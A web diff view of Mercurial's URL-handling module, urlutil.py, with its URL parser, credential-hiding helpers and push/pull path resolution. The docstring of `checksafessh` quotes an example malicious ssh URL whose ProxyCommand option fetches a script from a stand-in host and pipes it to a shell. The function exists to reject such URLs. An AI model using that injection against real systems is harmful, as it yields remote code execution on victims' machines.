##// END OF EJS Templates
urlutil: provide some information about "bad url" when processing `pushurl`...
marmoute -
r48050:9cc9b4a2 default
parent child Browse files
Show More
@@ -1,921 +1,923
1 # utils.urlutil - code related to [paths] management
1 # utils.urlutil - code related to [paths] management
2 #
2 #
3 # Copyright 2005-2021 Olivia Mackall <olivia@selenic.com> and others
3 # Copyright 2005-2021 Olivia Mackall <olivia@selenic.com> and others
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7 import os
7 import os
8 import re as remod
8 import re as remod
9 import socket
9 import socket
10
10
11 from ..i18n import _
11 from ..i18n import _
12 from ..pycompat import (
12 from ..pycompat import (
13 getattr,
13 getattr,
14 setattr,
14 setattr,
15 )
15 )
16 from .. import (
16 from .. import (
17 encoding,
17 encoding,
18 error,
18 error,
19 pycompat,
19 pycompat,
20 urllibcompat,
20 urllibcompat,
21 )
21 )
22
22
23 from . import (
23 from . import (
24 stringutil,
24 stringutil,
25 )
25 )
26
26
27
27
28 if pycompat.TYPE_CHECKING:
28 if pycompat.TYPE_CHECKING:
29 from typing import (
29 from typing import (
30 Union,
30 Union,
31 )
31 )
32
32
33 urlreq = urllibcompat.urlreq
33 urlreq = urllibcompat.urlreq
34
34
35
35
36 def getport(port):
36 def getport(port):
37 # type: (Union[bytes, int]) -> int
37 # type: (Union[bytes, int]) -> int
38 """Return the port for a given network service.
38 """Return the port for a given network service.
39
39
40 If port is an integer, it's returned as is. If it's a string, it's
40 If port is an integer, it's returned as is. If it's a string, it's
41 looked up using socket.getservbyname(). If there's no matching
41 looked up using socket.getservbyname(). If there's no matching
42 service, error.Abort is raised.
42 service, error.Abort is raised.
43 """
43 """
44 try:
44 try:
45 return int(port)
45 return int(port)
46 except ValueError:
46 except ValueError:
47 pass
47 pass
48
48
49 try:
49 try:
50 return socket.getservbyname(pycompat.sysstr(port))
50 return socket.getservbyname(pycompat.sysstr(port))
51 except socket.error:
51 except socket.error:
52 raise error.Abort(
52 raise error.Abort(
53 _(b"no port number associated with service '%s'") % port
53 _(b"no port number associated with service '%s'") % port
54 )
54 )
55
55
56
56
57 class url(object):
57 class url(object):
58 r"""Reliable URL parser.
58 r"""Reliable URL parser.
59
59
60 This parses URLs and provides attributes for the following
60 This parses URLs and provides attributes for the following
61 components:
61 components:
62
62
63 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
63 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
64
64
65 Missing components are set to None. The only exception is
65 Missing components are set to None. The only exception is
66 fragment, which is set to '' if present but empty.
66 fragment, which is set to '' if present but empty.
67
67
68 If parsefragment is False, fragment is included in query. If
68 If parsefragment is False, fragment is included in query. If
69 parsequery is False, query is included in path. If both are
69 parsequery is False, query is included in path. If both are
70 False, both fragment and query are included in path.
70 False, both fragment and query are included in path.
71
71
72 See http://www.ietf.org/rfc/rfc2396.txt for more information.
72 See http://www.ietf.org/rfc/rfc2396.txt for more information.
73
73
74 Note that for backward compatibility reasons, bundle URLs do not
74 Note that for backward compatibility reasons, bundle URLs do not
75 take host names. That means 'bundle://../' has a path of '../'.
75 take host names. That means 'bundle://../' has a path of '../'.
76
76
77 Examples:
77 Examples:
78
78
79 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
79 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
80 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
80 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
81 >>> url(b'ssh://[::1]:2200//home/joe/repo')
81 >>> url(b'ssh://[::1]:2200//home/joe/repo')
82 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
82 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
83 >>> url(b'file:///home/joe/repo')
83 >>> url(b'file:///home/joe/repo')
84 <url scheme: 'file', path: '/home/joe/repo'>
84 <url scheme: 'file', path: '/home/joe/repo'>
85 >>> url(b'file:///c:/temp/foo/')
85 >>> url(b'file:///c:/temp/foo/')
86 <url scheme: 'file', path: 'c:/temp/foo/'>
86 <url scheme: 'file', path: 'c:/temp/foo/'>
87 >>> url(b'bundle:foo')
87 >>> url(b'bundle:foo')
88 <url scheme: 'bundle', path: 'foo'>
88 <url scheme: 'bundle', path: 'foo'>
89 >>> url(b'bundle://../foo')
89 >>> url(b'bundle://../foo')
90 <url scheme: 'bundle', path: '../foo'>
90 <url scheme: 'bundle', path: '../foo'>
91 >>> url(br'c:\foo\bar')
91 >>> url(br'c:\foo\bar')
92 <url path: 'c:\\foo\\bar'>
92 <url path: 'c:\\foo\\bar'>
93 >>> url(br'\\blah\blah\blah')
93 >>> url(br'\\blah\blah\blah')
94 <url path: '\\\\blah\\blah\\blah'>
94 <url path: '\\\\blah\\blah\\blah'>
95 >>> url(br'\\blah\blah\blah#baz')
95 >>> url(br'\\blah\blah\blah#baz')
96 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
96 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
97 >>> url(br'file:///C:\users\me')
97 >>> url(br'file:///C:\users\me')
98 <url scheme: 'file', path: 'C:\\users\\me'>
98 <url scheme: 'file', path: 'C:\\users\\me'>
99
99
100 Authentication credentials:
100 Authentication credentials:
101
101
102 >>> url(b'ssh://joe:xyz@x/repo')
102 >>> url(b'ssh://joe:xyz@x/repo')
103 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
103 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
104 >>> url(b'ssh://joe@x/repo')
104 >>> url(b'ssh://joe@x/repo')
105 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
105 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
106
106
107 Query strings and fragments:
107 Query strings and fragments:
108
108
109 >>> url(b'http://host/a?b#c')
109 >>> url(b'http://host/a?b#c')
110 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
110 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
111 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
111 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
112 <url scheme: 'http', host: 'host', path: 'a?b#c'>
112 <url scheme: 'http', host: 'host', path: 'a?b#c'>
113
113
114 Empty path:
114 Empty path:
115
115
116 >>> url(b'')
116 >>> url(b'')
117 <url path: ''>
117 <url path: ''>
118 >>> url(b'#a')
118 >>> url(b'#a')
119 <url path: '', fragment: 'a'>
119 <url path: '', fragment: 'a'>
120 >>> url(b'http://host/')
120 >>> url(b'http://host/')
121 <url scheme: 'http', host: 'host', path: ''>
121 <url scheme: 'http', host: 'host', path: ''>
122 >>> url(b'http://host/#a')
122 >>> url(b'http://host/#a')
123 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
123 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
124
124
125 Only scheme:
125 Only scheme:
126
126
127 >>> url(b'http:')
127 >>> url(b'http:')
128 <url scheme: 'http'>
128 <url scheme: 'http'>
129 """
129 """
130
130
131 _safechars = b"!~*'()+"
131 _safechars = b"!~*'()+"
132 _safepchars = b"/!~*'()+:\\"
132 _safepchars = b"/!~*'()+:\\"
133 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
133 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
134
134
135 def __init__(self, path, parsequery=True, parsefragment=True):
135 def __init__(self, path, parsequery=True, parsefragment=True):
136 # type: (bytes, bool, bool) -> None
136 # type: (bytes, bool, bool) -> None
137 # We slowly chomp away at path until we have only the path left
137 # We slowly chomp away at path until we have only the path left
138 self.scheme = self.user = self.passwd = self.host = None
138 self.scheme = self.user = self.passwd = self.host = None
139 self.port = self.path = self.query = self.fragment = None
139 self.port = self.path = self.query = self.fragment = None
140 self._localpath = True
140 self._localpath = True
141 self._hostport = b''
141 self._hostport = b''
142 self._origpath = path
142 self._origpath = path
143
143
144 if parsefragment and b'#' in path:
144 if parsefragment and b'#' in path:
145 path, self.fragment = path.split(b'#', 1)
145 path, self.fragment = path.split(b'#', 1)
146
146
147 # special case for Windows drive letters and UNC paths
147 # special case for Windows drive letters and UNC paths
148 if hasdriveletter(path) or path.startswith(b'\\\\'):
148 if hasdriveletter(path) or path.startswith(b'\\\\'):
149 self.path = path
149 self.path = path
150 return
150 return
151
151
152 # For compatibility reasons, we can't handle bundle paths as
152 # For compatibility reasons, we can't handle bundle paths as
153 # normal URLS
153 # normal URLS
154 if path.startswith(b'bundle:'):
154 if path.startswith(b'bundle:'):
155 self.scheme = b'bundle'
155 self.scheme = b'bundle'
156 path = path[7:]
156 path = path[7:]
157 if path.startswith(b'//'):
157 if path.startswith(b'//'):
158 path = path[2:]
158 path = path[2:]
159 self.path = path
159 self.path = path
160 return
160 return
161
161
162 if self._matchscheme(path):
162 if self._matchscheme(path):
163 parts = path.split(b':', 1)
163 parts = path.split(b':', 1)
164 if parts[0]:
164 if parts[0]:
165 self.scheme, path = parts
165 self.scheme, path = parts
166 self._localpath = False
166 self._localpath = False
167
167
168 if not path:
168 if not path:
169 path = None
169 path = None
170 if self._localpath:
170 if self._localpath:
171 self.path = b''
171 self.path = b''
172 return
172 return
173 else:
173 else:
174 if self._localpath:
174 if self._localpath:
175 self.path = path
175 self.path = path
176 return
176 return
177
177
178 if parsequery and b'?' in path:
178 if parsequery and b'?' in path:
179 path, self.query = path.split(b'?', 1)
179 path, self.query = path.split(b'?', 1)
180 if not path:
180 if not path:
181 path = None
181 path = None
182 if not self.query:
182 if not self.query:
183 self.query = None
183 self.query = None
184
184
185 # // is required to specify a host/authority
185 # // is required to specify a host/authority
186 if path and path.startswith(b'//'):
186 if path and path.startswith(b'//'):
187 parts = path[2:].split(b'/', 1)
187 parts = path[2:].split(b'/', 1)
188 if len(parts) > 1:
188 if len(parts) > 1:
189 self.host, path = parts
189 self.host, path = parts
190 else:
190 else:
191 self.host = parts[0]
191 self.host = parts[0]
192 path = None
192 path = None
193 if not self.host:
193 if not self.host:
194 self.host = None
194 self.host = None
195 # path of file:///d is /d
195 # path of file:///d is /d
196 # path of file:///d:/ is d:/, not /d:/
196 # path of file:///d:/ is d:/, not /d:/
197 if path and not hasdriveletter(path):
197 if path and not hasdriveletter(path):
198 path = b'/' + path
198 path = b'/' + path
199
199
200 if self.host and b'@' in self.host:
200 if self.host and b'@' in self.host:
201 self.user, self.host = self.host.rsplit(b'@', 1)
201 self.user, self.host = self.host.rsplit(b'@', 1)
202 if b':' in self.user:
202 if b':' in self.user:
203 self.user, self.passwd = self.user.split(b':', 1)
203 self.user, self.passwd = self.user.split(b':', 1)
204 if not self.host:
204 if not self.host:
205 self.host = None
205 self.host = None
206
206
207 # Don't split on colons in IPv6 addresses without ports
207 # Don't split on colons in IPv6 addresses without ports
208 if (
208 if (
209 self.host
209 self.host
210 and b':' in self.host
210 and b':' in self.host
211 and not (
211 and not (
212 self.host.startswith(b'[') and self.host.endswith(b']')
212 self.host.startswith(b'[') and self.host.endswith(b']')
213 )
213 )
214 ):
214 ):
215 self._hostport = self.host
215 self._hostport = self.host
216 self.host, self.port = self.host.rsplit(b':', 1)
216 self.host, self.port = self.host.rsplit(b':', 1)
217 if not self.host:
217 if not self.host:
218 self.host = None
218 self.host = None
219
219
220 if (
220 if (
221 self.host
221 self.host
222 and self.scheme == b'file'
222 and self.scheme == b'file'
223 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
223 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
224 ):
224 ):
225 raise error.Abort(
225 raise error.Abort(
226 _(b'file:// URLs can only refer to localhost')
226 _(b'file:// URLs can only refer to localhost')
227 )
227 )
228
228
229 self.path = path
229 self.path = path
230
230
231 # leave the query string escaped
231 # leave the query string escaped
232 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
232 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
233 v = getattr(self, a)
233 v = getattr(self, a)
234 if v is not None:
234 if v is not None:
235 setattr(self, a, urlreq.unquote(v))
235 setattr(self, a, urlreq.unquote(v))
236
236
237 def copy(self):
237 def copy(self):
238 u = url(b'temporary useless value')
238 u = url(b'temporary useless value')
239 u.path = self.path
239 u.path = self.path
240 u.scheme = self.scheme
240 u.scheme = self.scheme
241 u.user = self.user
241 u.user = self.user
242 u.passwd = self.passwd
242 u.passwd = self.passwd
243 u.host = self.host
243 u.host = self.host
244 u.path = self.path
244 u.path = self.path
245 u.query = self.query
245 u.query = self.query
246 u.fragment = self.fragment
246 u.fragment = self.fragment
247 u._localpath = self._localpath
247 u._localpath = self._localpath
248 u._hostport = self._hostport
248 u._hostport = self._hostport
249 u._origpath = self._origpath
249 u._origpath = self._origpath
250 return u
250 return u
251
251
252 @encoding.strmethod
252 @encoding.strmethod
253 def __repr__(self):
253 def __repr__(self):
254 attrs = []
254 attrs = []
255 for a in (
255 for a in (
256 b'scheme',
256 b'scheme',
257 b'user',
257 b'user',
258 b'passwd',
258 b'passwd',
259 b'host',
259 b'host',
260 b'port',
260 b'port',
261 b'path',
261 b'path',
262 b'query',
262 b'query',
263 b'fragment',
263 b'fragment',
264 ):
264 ):
265 v = getattr(self, a)
265 v = getattr(self, a)
266 if v is not None:
266 if v is not None:
267 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
267 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
268 return b'<url %s>' % b', '.join(attrs)
268 return b'<url %s>' % b', '.join(attrs)
269
269
270 def __bytes__(self):
270 def __bytes__(self):
271 r"""Join the URL's components back into a URL string.
271 r"""Join the URL's components back into a URL string.
272
272
273 Examples:
273 Examples:
274
274
275 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
275 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
276 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
276 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
277 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
277 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
278 'http://user:pw@host:80/?foo=bar&baz=42'
278 'http://user:pw@host:80/?foo=bar&baz=42'
279 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
279 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
280 'http://user:pw@host:80/?foo=bar%3dbaz'
280 'http://user:pw@host:80/?foo=bar%3dbaz'
281 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
281 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
282 'ssh://user:pw@[::1]:2200//home/joe#'
282 'ssh://user:pw@[::1]:2200//home/joe#'
283 >>> bytes(url(b'http://localhost:80//'))
283 >>> bytes(url(b'http://localhost:80//'))
284 'http://localhost:80//'
284 'http://localhost:80//'
285 >>> bytes(url(b'http://localhost:80/'))
285 >>> bytes(url(b'http://localhost:80/'))
286 'http://localhost:80/'
286 'http://localhost:80/'
287 >>> bytes(url(b'http://localhost:80'))
287 >>> bytes(url(b'http://localhost:80'))
288 'http://localhost:80/'
288 'http://localhost:80/'
289 >>> bytes(url(b'bundle:foo'))
289 >>> bytes(url(b'bundle:foo'))
290 'bundle:foo'
290 'bundle:foo'
291 >>> bytes(url(b'bundle://../foo'))
291 >>> bytes(url(b'bundle://../foo'))
292 'bundle:../foo'
292 'bundle:../foo'
293 >>> bytes(url(b'path'))
293 >>> bytes(url(b'path'))
294 'path'
294 'path'
295 >>> bytes(url(b'file:///tmp/foo/bar'))
295 >>> bytes(url(b'file:///tmp/foo/bar'))
296 'file:///tmp/foo/bar'
296 'file:///tmp/foo/bar'
297 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
297 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
298 'file:///c:/tmp/foo/bar'
298 'file:///c:/tmp/foo/bar'
299 >>> print(url(br'bundle:foo\bar'))
299 >>> print(url(br'bundle:foo\bar'))
300 bundle:foo\bar
300 bundle:foo\bar
301 >>> print(url(br'file:///D:\data\hg'))
301 >>> print(url(br'file:///D:\data\hg'))
302 file:///D:\data\hg
302 file:///D:\data\hg
303 """
303 """
304 if self._localpath:
304 if self._localpath:
305 s = self.path
305 s = self.path
306 if self.scheme == b'bundle':
306 if self.scheme == b'bundle':
307 s = b'bundle:' + s
307 s = b'bundle:' + s
308 if self.fragment:
308 if self.fragment:
309 s += b'#' + self.fragment
309 s += b'#' + self.fragment
310 return s
310 return s
311
311
312 s = self.scheme + b':'
312 s = self.scheme + b':'
313 if self.user or self.passwd or self.host:
313 if self.user or self.passwd or self.host:
314 s += b'//'
314 s += b'//'
315 elif self.scheme and (
315 elif self.scheme and (
316 not self.path
316 not self.path
317 or self.path.startswith(b'/')
317 or self.path.startswith(b'/')
318 or hasdriveletter(self.path)
318 or hasdriveletter(self.path)
319 ):
319 ):
320 s += b'//'
320 s += b'//'
321 if hasdriveletter(self.path):
321 if hasdriveletter(self.path):
322 s += b'/'
322 s += b'/'
323 if self.user:
323 if self.user:
324 s += urlreq.quote(self.user, safe=self._safechars)
324 s += urlreq.quote(self.user, safe=self._safechars)
325 if self.passwd:
325 if self.passwd:
326 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
326 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
327 if self.user or self.passwd:
327 if self.user or self.passwd:
328 s += b'@'
328 s += b'@'
329 if self.host:
329 if self.host:
330 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
330 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
331 s += urlreq.quote(self.host)
331 s += urlreq.quote(self.host)
332 else:
332 else:
333 s += self.host
333 s += self.host
334 if self.port:
334 if self.port:
335 s += b':' + urlreq.quote(self.port)
335 s += b':' + urlreq.quote(self.port)
336 if self.host:
336 if self.host:
337 s += b'/'
337 s += b'/'
338 if self.path:
338 if self.path:
339 # TODO: similar to the query string, we should not unescape the
339 # TODO: similar to the query string, we should not unescape the
340 # path when we store it, the path might contain '%2f' = '/',
340 # path when we store it, the path might contain '%2f' = '/',
341 # which we should *not* escape.
341 # which we should *not* escape.
342 s += urlreq.quote(self.path, safe=self._safepchars)
342 s += urlreq.quote(self.path, safe=self._safepchars)
343 if self.query:
343 if self.query:
344 # we store the query in escaped form.
344 # we store the query in escaped form.
345 s += b'?' + self.query
345 s += b'?' + self.query
346 if self.fragment is not None:
346 if self.fragment is not None:
347 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
347 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
348 return s
348 return s
349
349
350 __str__ = encoding.strmethod(__bytes__)
350 __str__ = encoding.strmethod(__bytes__)
351
351
352 def authinfo(self):
352 def authinfo(self):
353 user, passwd = self.user, self.passwd
353 user, passwd = self.user, self.passwd
354 try:
354 try:
355 self.user, self.passwd = None, None
355 self.user, self.passwd = None, None
356 s = bytes(self)
356 s = bytes(self)
357 finally:
357 finally:
358 self.user, self.passwd = user, passwd
358 self.user, self.passwd = user, passwd
359 if not self.user:
359 if not self.user:
360 return (s, None)
360 return (s, None)
361 # authinfo[1] is passed to urllib2 password manager, and its
361 # authinfo[1] is passed to urllib2 password manager, and its
362 # URIs must not contain credentials. The host is passed in the
362 # URIs must not contain credentials. The host is passed in the
363 # URIs list because Python < 2.4.3 uses only that to search for
363 # URIs list because Python < 2.4.3 uses only that to search for
364 # a password.
364 # a password.
365 return (s, (None, (s, self.host), self.user, self.passwd or b''))
365 return (s, (None, (s, self.host), self.user, self.passwd or b''))
366
366
367 def isabs(self):
367 def isabs(self):
368 if self.scheme and self.scheme != b'file':
368 if self.scheme and self.scheme != b'file':
369 return True # remote URL
369 return True # remote URL
370 if hasdriveletter(self.path):
370 if hasdriveletter(self.path):
371 return True # absolute for our purposes - can't be joined()
371 return True # absolute for our purposes - can't be joined()
372 if self.path.startswith(br'\\'):
372 if self.path.startswith(br'\\'):
373 return True # Windows UNC path
373 return True # Windows UNC path
374 if self.path.startswith(b'/'):
374 if self.path.startswith(b'/'):
375 return True # POSIX-style
375 return True # POSIX-style
376 return False
376 return False
377
377
378 def localpath(self):
378 def localpath(self):
379 # type: () -> bytes
379 # type: () -> bytes
380 if self.scheme == b'file' or self.scheme == b'bundle':
380 if self.scheme == b'file' or self.scheme == b'bundle':
381 path = self.path or b'/'
381 path = self.path or b'/'
382 # For Windows, we need to promote hosts containing drive
382 # For Windows, we need to promote hosts containing drive
383 # letters to paths with drive letters.
383 # letters to paths with drive letters.
384 if hasdriveletter(self._hostport):
384 if hasdriveletter(self._hostport):
385 path = self._hostport + b'/' + self.path
385 path = self._hostport + b'/' + self.path
386 elif (
386 elif (
387 self.host is not None and self.path and not hasdriveletter(path)
387 self.host is not None and self.path and not hasdriveletter(path)
388 ):
388 ):
389 path = b'/' + path
389 path = b'/' + path
390 return path
390 return path
391 return self._origpath
391 return self._origpath
392
392
393 def islocal(self):
393 def islocal(self):
394 '''whether localpath will return something that posixfile can open'''
394 '''whether localpath will return something that posixfile can open'''
395 return (
395 return (
396 not self.scheme
396 not self.scheme
397 or self.scheme == b'file'
397 or self.scheme == b'file'
398 or self.scheme == b'bundle'
398 or self.scheme == b'bundle'
399 )
399 )
400
400
401
401
402 def hasscheme(path):
402 def hasscheme(path):
403 # type: (bytes) -> bool
403 # type: (bytes) -> bool
404 return bool(url(path).scheme) # cast to help pytype
404 return bool(url(path).scheme) # cast to help pytype
405
405
406
406
407 def hasdriveletter(path):
407 def hasdriveletter(path):
408 # type: (bytes) -> bool
408 # type: (bytes) -> bool
409 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
409 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
410
410
411
411
412 def urllocalpath(path):
412 def urllocalpath(path):
413 # type: (bytes) -> bytes
413 # type: (bytes) -> bytes
414 return url(path, parsequery=False, parsefragment=False).localpath()
414 return url(path, parsequery=False, parsefragment=False).localpath()
415
415
416
416
417 def checksafessh(path):
417 def checksafessh(path):
418 # type: (bytes) -> None
418 # type: (bytes) -> None
419 """check if a path / url is a potentially unsafe ssh exploit (SEC)
419 """check if a path / url is a potentially unsafe ssh exploit (SEC)
420
420
421 This is a sanity check for ssh urls. ssh will parse the first item as
421 This is a sanity check for ssh urls. ssh will parse the first item as
422 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
422 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
423 Let's prevent these potentially exploited urls entirely and warn the
423 Let's prevent these potentially exploited urls entirely and warn the
424 user.
424 user.
425
425
426 Raises an error.Abort when the url is unsafe.
426 Raises an error.Abort when the url is unsafe.
427 """
427 """
428 path = urlreq.unquote(path)
428 path = urlreq.unquote(path)
429 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
429 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
430 raise error.Abort(
430 raise error.Abort(
431 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
431 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
432 )
432 )
433
433
434
434
435 def hidepassword(u):
435 def hidepassword(u):
436 # type: (bytes) -> bytes
436 # type: (bytes) -> bytes
437 '''hide user credential in a url string'''
437 '''hide user credential in a url string'''
438 u = url(u)
438 u = url(u)
439 if u.passwd:
439 if u.passwd:
440 u.passwd = b'***'
440 u.passwd = b'***'
441 return bytes(u)
441 return bytes(u)
442
442
443
443
444 def removeauth(u):
444 def removeauth(u):
445 # type: (bytes) -> bytes
445 # type: (bytes) -> bytes
446 '''remove all authentication information from a url string'''
446 '''remove all authentication information from a url string'''
447 u = url(u)
447 u = url(u)
448 u.user = u.passwd = None
448 u.user = u.passwd = None
449 return bytes(u)
449 return bytes(u)
450
450
451
451
452 def list_paths(ui, target_path=None):
452 def list_paths(ui, target_path=None):
453 """list all the (name, paths) in the passed ui"""
453 """list all the (name, paths) in the passed ui"""
454 result = []
454 result = []
455 if target_path is None:
455 if target_path is None:
456 for name, paths in sorted(pycompat.iteritems(ui.paths)):
456 for name, paths in sorted(pycompat.iteritems(ui.paths)):
457 for p in paths:
457 for p in paths:
458 result.append((name, p))
458 result.append((name, p))
459
459
460 else:
460 else:
461 for path in ui.paths.get(target_path, []):
461 for path in ui.paths.get(target_path, []):
462 result.append((target_path, path))
462 result.append((target_path, path))
463 return result
463 return result
464
464
465
465
466 def try_path(ui, url):
466 def try_path(ui, url):
467 """try to build a path from a url
467 """try to build a path from a url
468
468
469 Return None if no Path could built.
469 Return None if no Path could built.
470 """
470 """
471 try:
471 try:
472 # we pass the ui instance are warning might need to be issued
472 # we pass the ui instance are warning might need to be issued
473 return path(ui, None, rawloc=url)
473 return path(ui, None, rawloc=url)
474 except ValueError:
474 except ValueError:
475 return None
475 return None
476
476
477
477
478 def get_push_paths(repo, ui, dests):
478 def get_push_paths(repo, ui, dests):
479 """yields all the `path` selected as push destination by `dests`"""
479 """yields all the `path` selected as push destination by `dests`"""
480 if not dests:
480 if not dests:
481 if b'default-push' in ui.paths:
481 if b'default-push' in ui.paths:
482 for p in ui.paths[b'default-push']:
482 for p in ui.paths[b'default-push']:
483 yield p
483 yield p
484 elif b'default' in ui.paths:
484 elif b'default' in ui.paths:
485 for p in ui.paths[b'default']:
485 for p in ui.paths[b'default']:
486 yield p
486 yield p
487 else:
487 else:
488 raise error.ConfigError(
488 raise error.ConfigError(
489 _(b'default repository not configured!'),
489 _(b'default repository not configured!'),
490 hint=_(b"see 'hg help config.paths'"),
490 hint=_(b"see 'hg help config.paths'"),
491 )
491 )
492 else:
492 else:
493 for dest in dests:
493 for dest in dests:
494 if dest in ui.paths:
494 if dest in ui.paths:
495 for p in ui.paths[dest]:
495 for p in ui.paths[dest]:
496 yield p
496 yield p
497 else:
497 else:
498 path = try_path(ui, dest)
498 path = try_path(ui, dest)
499 if path is None:
499 if path is None:
500 msg = _(b'repository %s does not exist')
500 msg = _(b'repository %s does not exist')
501 msg %= dest
501 msg %= dest
502 raise error.RepoError(msg)
502 raise error.RepoError(msg)
503 yield path
503 yield path
504
504
505
505
506 def get_pull_paths(repo, ui, sources, default_branches=()):
506 def get_pull_paths(repo, ui, sources, default_branches=()):
507 """yields all the `(path, branch)` selected as pull source by `sources`"""
507 """yields all the `(path, branch)` selected as pull source by `sources`"""
508 if not sources:
508 if not sources:
509 sources = [b'default']
509 sources = [b'default']
510 for source in sources:
510 for source in sources:
511 if source in ui.paths:
511 if source in ui.paths:
512 for p in ui.paths[source]:
512 for p in ui.paths[source]:
513 yield parseurl(p.rawloc, default_branches)
513 yield parseurl(p.rawloc, default_branches)
514 else:
514 else:
515 # Try to resolve as a local path or URI.
515 # Try to resolve as a local path or URI.
516 path = try_path(ui, source)
516 path = try_path(ui, source)
517 if path is not None:
517 if path is not None:
518 url = path.rawloc
518 url = path.rawloc
519 else:
519 else:
520 url = source
520 url = source
521 yield parseurl(url, default_branches)
521 yield parseurl(url, default_branches)
522
522
523
523
524 def get_unique_push_path(action, repo, ui, dest=None):
524 def get_unique_push_path(action, repo, ui, dest=None):
525 """return a unique `path` or abort if multiple are found
525 """return a unique `path` or abort if multiple are found
526
526
527 This is useful for command and action that does not support multiple
527 This is useful for command and action that does not support multiple
528 destination (yet).
528 destination (yet).
529
529
530 Note that for now, we cannot get multiple destination so this function is "trivial".
530 Note that for now, we cannot get multiple destination so this function is "trivial".
531
531
532 The `action` parameter will be used for the error message.
532 The `action` parameter will be used for the error message.
533 """
533 """
534 if dest is None:
534 if dest is None:
535 dests = []
535 dests = []
536 else:
536 else:
537 dests = [dest]
537 dests = [dest]
538 dests = list(get_push_paths(repo, ui, dests))
538 dests = list(get_push_paths(repo, ui, dests))
539 if len(dests) != 1:
539 if len(dests) != 1:
540 if dest is None:
540 if dest is None:
541 msg = _("default path points to %d urls while %s only supports one")
541 msg = _("default path points to %d urls while %s only supports one")
542 msg %= (len(dests), action)
542 msg %= (len(dests), action)
543 else:
543 else:
544 msg = _("path points to %d urls while %s only supports one: %s")
544 msg = _("path points to %d urls while %s only supports one: %s")
545 msg %= (len(dests), action, dest)
545 msg %= (len(dests), action, dest)
546 raise error.Abort(msg)
546 raise error.Abort(msg)
547 return dests[0]
547 return dests[0]
548
548
549
549
550 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
550 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
551 """return a unique `(path, branch)` or abort if multiple are found
551 """return a unique `(path, branch)` or abort if multiple are found
552
552
553 This is useful for command and action that does not support multiple
553 This is useful for command and action that does not support multiple
554 destination (yet).
554 destination (yet).
555
555
556 Note that for now, we cannot get multiple destination so this function is "trivial".
556 Note that for now, we cannot get multiple destination so this function is "trivial".
557
557
558 The `action` parameter will be used for the error message.
558 The `action` parameter will be used for the error message.
559 """
559 """
560 urls = []
560 urls = []
561 if source is None:
561 if source is None:
562 if b'default' in ui.paths:
562 if b'default' in ui.paths:
563 urls.extend(p.rawloc for p in ui.paths[b'default'])
563 urls.extend(p.rawloc for p in ui.paths[b'default'])
564 else:
564 else:
565 # XXX this is the historical default behavior, but that is not
565 # XXX this is the historical default behavior, but that is not
566 # great, consider breaking BC on this.
566 # great, consider breaking BC on this.
567 urls.append(b'default')
567 urls.append(b'default')
568 else:
568 else:
569 if source in ui.paths:
569 if source in ui.paths:
570 urls.extend(p.rawloc for p in ui.paths[source])
570 urls.extend(p.rawloc for p in ui.paths[source])
571 else:
